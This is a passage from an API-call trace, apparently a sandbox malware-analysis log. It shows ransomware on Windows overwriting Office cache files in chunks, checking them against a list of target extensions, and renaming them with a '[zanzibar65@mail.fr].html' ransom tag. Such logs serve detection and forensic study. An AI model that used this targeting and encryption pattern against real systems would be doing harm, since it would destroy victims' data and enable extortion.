(hFile=0x184) returned 1 [0034.448] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f182d8 [0034.452] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.452] WriteFile (in: hFile=0x184, lpBuffer=0x3f182d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f182d8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.454] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.454] WriteFile (in: hFile=0x184, lpBuffer=0x3f182d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f182d8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.460] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.460] WriteFile (in: hFile=0x184, lpBuffer=0x3f182d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f182d8*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.463] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f182d8 | out: hHeap=0x220000) returned 1 [0034.463] CloseHandle (hObject=0x184) returned 1 [0034.893] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.894] lstrlenW (lpString=".doc") returned 4 [0034.894] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0034.894] lstrlenW (lpString=".docx") returned 5 [0034.894] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0034.894] lstrlenW (lpString=".pdf") returned 4 [0034.894] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0034.894] lstrlenW (lpString=".xls") returned 4 [0034.894] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0034.894] lstrlenW (lpString=".xlsx") returned 5 [0034.894] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0034.894] lstrlenW (lpString=".ppt") returned 4 [0034.894] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0034.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.894] lstrlenW (lpString=".zip") returned 4 [0034.894] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0034.894] lstrlenW (lpString=".rar") returned 4 [0034.894] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0034.894] lstrlenW (lpString=".bz2") returned 4 [0034.894] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0034.894] lstrlenW (lpString=".7z") returned 3 [0034.894] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0034.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.894] lstrlenW (lpString=".dbf") returned 4 [0034.894] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0034.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.894] lstrlenW (lpString=".1cd") returned 4 [0034.894] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0034.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.894] lstrlenW (lpString=".jpg") returned 4 [0034.895] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0034.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.895] lstrlenW (lpString=".doc") returned 4 [0034.895] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0034.895] lstrlenW (lpString=".docx") returned 5 [0034.895] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0034.895] lstrlenW (lpString=".pdf") returned 4 [0034.895] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0034.895] lstrlenW (lpString=".xls") returned 4 [0034.895] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0034.895] lstrlenW (lpString=".xlsx") returned 5 [0034.895] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0034.895] lstrlenW (lpString=".ppt") returned 4 [0034.895] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0034.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.895] lstrlenW (lpString=".zip") returned 4 [0034.895] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0034.895] lstrlenW (lpString=".rar") returned 4 [0034.895] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0034.895] lstrlenW (lpString=".bz2") returned 4 [0034.895] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0034.895] lstrlenW (lpString=".7z") returned 3 [0034.895] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0034.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.895] lstrlenW (lpString=".dbf") returned 4 [0034.895] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0034.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.895] lstrlenW (lpString=".1cd") returned 4 [0034.895] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0034.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0034.895] lstrlenW (lpString=".jpg") returned 4 [0034.896] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0034.896] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0034.896] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0034.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.896] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2513920) returned 1 [0034.896] CloseHandle (hObject=0x184) returned 1 [0034.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0034.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.896] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0034.897] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.897] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0034.897] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.897] ReadFile (in: hFile=0x184, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.079] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.079] ReadFile (in: hFile=0x184, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.094] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.094] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.094] ReadFile (in: hFile=0x184, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.111] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.111] WriteFile (in: hFile=0x184, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0035.442] SetEndOfFile (hFile=0x184) returned 1 [0035.442] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0035.442] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.442] WriteFile (in: hFile=0x184, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.443] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.444] WriteFile (in: hFile=0x184, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.449] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.449] WriteFile (in: hFile=0x184, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.452] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0035.452] CloseHandle (hObject=0x184) returned 1 [0036.053] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0036.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.053] lstrlenW (lpString=".doc") returned 4 [0036.053] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.053] lstrlenW (lpString=".docx") returned 5 [0036.053] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.053] lstrlenW (lpString=".pdf") returned 4 [0036.053] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.053] lstrlenW (lpString=".xls") returned 4 [0036.053] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.053] lstrlenW (lpString=".xlsx") returned 5 [0036.053] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.053] lstrlenW (lpString=".ppt") returned 4 [0036.053] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.053] lstrlenW (lpString=".zip") returned 4 [0036.053] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.053] lstrlenW (lpString=".rar") returned 4 [0036.053] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.053] lstrlenW (lpString=".bz2") returned 4 [0036.053] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.053] lstrlenW (lpString=".7z") returned 3 [0036.053] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.053] lstrlenW (lpString=".dbf") returned 4 [0036.054] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.054] lstrlenW (lpString=".1cd") returned 4 [0036.054] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.054] lstrlenW (lpString=".jpg") returned 4 [0036.054] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.054] lstrlenW (lpString=".doc") returned 4 [0036.054] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.054] lstrlenW (lpString=".docx") returned 5 [0036.054] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.054] lstrlenW (lpString=".pdf") returned 4 [0036.054] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.054] lstrlenW (lpString=".xls") returned 4 [0036.054] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.054] lstrlenW (lpString=".xlsx") returned 5 [0036.054] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.054] lstrlenW (lpString=".ppt") returned 4 [0036.054] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.054] lstrlenW (lpString=".zip") returned 4 [0036.054] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.054] lstrlenW (lpString=".rar") returned 4 [0036.054] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.054] lstrlenW (lpString=".bz2") returned 4 [0036.054] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.054] lstrlenW (lpString=".7z") returned 3 [0036.054] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.054] lstrlenW (lpString=".dbf") returned 4 [0036.054] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.055] lstrlenW (lpString=".1cd") returned 4 [0036.055] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.055] lstrlenW (lpString=".jpg") returned 4 [0036.055] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.055] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0036.055] lstrlenW (lpString="OutlkLR.cab") returned 11 [0036.055] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0036.055] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=14819276) returned 1 [0036.055] CloseHandle (hObject=0x184) returned 1 [0036.055] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0036.055] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.055] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0036.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0036.056] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.056] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.056] ReadFile (in: hFile=0x184, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.266] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.266] ReadFile (in: hFile=0x184, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.315] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.315] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.315] ReadFile (in: hFile=0x184, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.331] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.331] WriteFile (in: hFile=0x184, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0036.344] SetEndOfFile (hFile=0x184) returned 1 [0036.345] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0036.348] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.348] WriteFile (in: hFile=0x184, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.349] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.349] WriteFile (in: hFile=0x184, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.350] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.350] WriteFile (in: hFile=0x184, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.351] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0036.351] CloseHandle (hObject=0x184) returned 1 [0039.218] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0039.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.218] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.218] lstrlenW (lpString=".doc") returned 4 [0039.218] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.218] lstrlenW (lpString=".docx") returned 5 [0039.218] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.218] lstrlenW (lpString=".pdf") returned 4 [0039.218] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.218] lstrlenW (lpString=".xls") returned 4 [0039.218] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.218] lstrlenW (lpString=".xlsx") returned 5 [0039.218] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.218] lstrlenW (lpString=".ppt") returned 4 [0039.219] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.219] lstrlenW (lpString=".zip") returned 4 [0039.219] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.219] lstrlenW (lpString=".rar") returned 4 [0039.219] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.219] lstrlenW (lpString=".bz2") returned 4 [0039.219] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.219] lstrlenW (lpString=".7z") returned 3 [0039.219] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.219] lstrlenW (lpString=".dbf") returned 4 [0039.219] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.219] lstrlenW (lpString=".1cd") returned 4 [0039.219] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.219] lstrlenW (lpString=".jpg") returned 4 [0039.219] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.219] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0039.219] lstrlenW (lpString=".doc") returned 4 [0039.219] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.219] lstrlenW (lpString=".docx") returned 5 [0039.219] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.219] lstrlenW (lpString=".pdf") returned 4 [0039.219] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.219] lstrlenW (lpString=".xls") returned 4 [0039.219] lstrcmpiW 